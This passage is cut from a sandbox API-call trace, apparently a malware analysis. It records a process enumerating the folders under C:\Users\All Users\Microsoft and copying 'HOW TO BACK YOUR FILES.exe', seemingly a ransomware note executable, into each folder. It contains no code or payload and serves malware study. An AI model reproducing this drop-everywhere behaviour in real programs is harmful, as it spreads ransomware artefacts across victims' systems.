ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529610 [0100.604] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft" | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0100.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.605] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.605] GetLastError () returned 0x0 [0100.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.605] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.606] CloseHandle (hObject=0xf4) returned 1 [0100.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.606] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.606] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529610 [0100.606] lstrcatW (in: lpString1="Assistance", lpString2="\\" | out: lpString1="Assistance\\") returned="Assistance\\" [0100.606] lstrcatW (in: lpString1="Assistance\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Assistance\\HOW TO BACK YOUR FILES.exe") returned="Assistance\\HOW TO BACK YOUR FILES.exe" [0100.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.607] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4777b40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4777b40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0100.607] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0100.607] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0100.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.607] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0100.607] lstrcatW (in: lpString1="Device Stage", lpString2="\\" | out: lpString1="Device Stage\\") returned="Device Stage\\" [0100.607] lstrcatW (in: lpString1="Device Stage\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Device Stage\\HOW TO BACK YOUR FILES.exe") returned="Device Stage\\HOW TO BACK YOUR FILES.exe" [0100.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.608] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0100.608] lstrcatW (in: lpString1="DeviceSync", lpString2="\\" | out: lpString1="DeviceSync\\") returned="DeviceSync\\" [0100.608] lstrcatW (in: lpString1="DeviceSync\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DeviceSync\\HOW TO BACK YOUR FILES.exe") returned="DeviceSync\\HOW TO BACK YOUR FILES.exe" [0100.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.609] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0100.609] lstrcatW (in: lpString1="DRM", lpString2="\\" | out: lpString1="DRM\\") returned="DRM\\" [0100.609] lstrcatW (in: lpString1="DRM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DRM\\HOW TO BACK YOUR FILES.exe") returned="DRM\\HOW TO BACK YOUR FILES.exe" [0100.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.609] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0100.609] lstrcatW (in: lpString1="eHome", lpString2="\\" | out: lpString1="eHome\\") returned="eHome\\" [0100.609] lstrcatW (in: lpString1="eHome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="eHome\\HOW TO BACK YOUR FILES.exe") returned="eHome\\HOW TO BACK YOUR FILES.exe" [0100.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.610] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0100.610] lstrcatW (in: lpString1="Event Viewer", lpString2="\\" | out: lpString1="Event Viewer\\") returned="Event Viewer\\" [0100.610] lstrcatW (in: lpString1="Event Viewer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Event Viewer\\HOW TO BACK YOUR FILES.exe") returned="Event Viewer\\HOW TO BACK YOUR FILES.exe" [0100.610] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.610] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.610] lstrcatW (in: lpString1="IdentityCRL", lpString2="\\" | out: lpString1="IdentityCRL\\") returned="IdentityCRL\\" [0100.610] lstrcatW (in: lpString1="IdentityCRL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IdentityCRL\\HOW TO BACK YOUR FILES.exe") returned="IdentityCRL\\HOW TO BACK YOUR FILES.exe" [0100.610] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.611] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0100.611] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0100.611] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0100.611] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.612] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe1f14200, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1f14200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0100.612] lstrcatW (in: lpString1="MF", lpString2="\\" | out: lpString1="MF\\") returned="MF\\" [0100.612] lstrcatW (in: lpString1="MF\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MF\\HOW TO BACK YOUR FILES.exe") returned="MF\\HOW TO BACK YOUR FILES.exe" [0100.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.612] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0100.612] lstrcatW (in: lpString1="MSDN", lpString2="\\" | out: lpString1="MSDN\\") returned="MSDN\\" [0100.612] lstrcatW (in: lpString1="MSDN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSDN\\HOW TO BACK YOUR FILES.exe") returned="MSDN\\HOW TO BACK YOUR FILES.exe" [0100.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.613] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0100.613] lstrcatW (in: lpString1="NetFramework", lpString2="\\" | out: lpString1="NetFramework\\") returned="NetFramework\\" [0100.613] lstrcatW (in: lpString1="NetFramework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetFramework\\HOW TO BACK YOUR FILES.exe") returned="NetFramework\\HOW TO BACK YOUR FILES.exe" [0100.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.613] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0100.613] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0100.613] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0100.613] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.614] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe2090fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2090fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0100.614] lstrcatW (in: lpString1="OFFICE", lpString2="\\" | out: lpString1="OFFICE\\") returned="OFFICE\\" [0100.614] lstrcatW (in: lpString1="OFFICE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OFFICE\\HOW TO BACK YOUR FILES.exe") returned="OFFICE\\HOW TO BACK YOUR FILES.exe" [0100.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.615] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe20dd280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe20dd280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0100.615] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform", lpString2="\\" | out: lpString1="OfficeSoftwareProtectionPlatform\\") returned="OfficeSoftwareProtectionPlatform\\" [0100.615] lstrcatW (in: lpString1="OfficeSoftwareProtectionPlatform\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe") returned="OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" [0100.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.615] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0100.615] lstrcatW (in: lpString1="RAC", lpString2="\\" | out: lpString1="RAC\\") returned="RAC\\" [0100.615] lstrcatW (in: lpString1="RAC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RAC\\HOW TO BACK YOUR FILES.exe") returned="RAC\\HOW TO BACK YOUR FILES.exe" [0100.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.616] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0100.616] lstrcatW (in: lpString1="Search", lpString2="\\" | out: lpString1="Search\\") returned="Search\\" [0100.616] lstrcatW (in: lpString1="Search\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Search\\HOW TO BACK YOUR FILES.exe") returned="Search\\HOW TO BACK YOUR FILES.exe" [0100.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.616] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2318720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2318720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0100.617] lstrcatW (in: lpString1="User Account Pictures", lpString2="\\" | out: lpString1="User Account Pictures\\") returned="User Account Pictures\\" [0100.617] lstrcatW (in: lpString1="User Account Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="User Account Pictures\\HOW TO BACK YOUR FILES.exe") returned="User Account Pictures\\HOW TO BACK YOUR FILES.exe" [0100.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.617] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0100.617] lstrcatW (in: lpString1="Vault", lpString2="\\" | out: lpString1="Vault\\") returned="Vault\\" [0100.617] lstrcatW (in: lpString1="Vault\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vault\\HOW TO BACK YOUR FILES.exe") returned="Vault\\HOW TO BACK YOUR FILES.exe" [0100.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.618] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0100.618] lstrcatW (in: lpString1="VISIO", lpString2="\\" | out: lpString1="VISIO\\") returned="VISIO\\" [0100.618] lstrcatW (in: lpString1="VISIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VISIO\\HOW TO BACK YOUR FILES.exe") returned="VISIO\\HOW TO BACK YOUR FILES.exe" [0100.618] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.618] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", 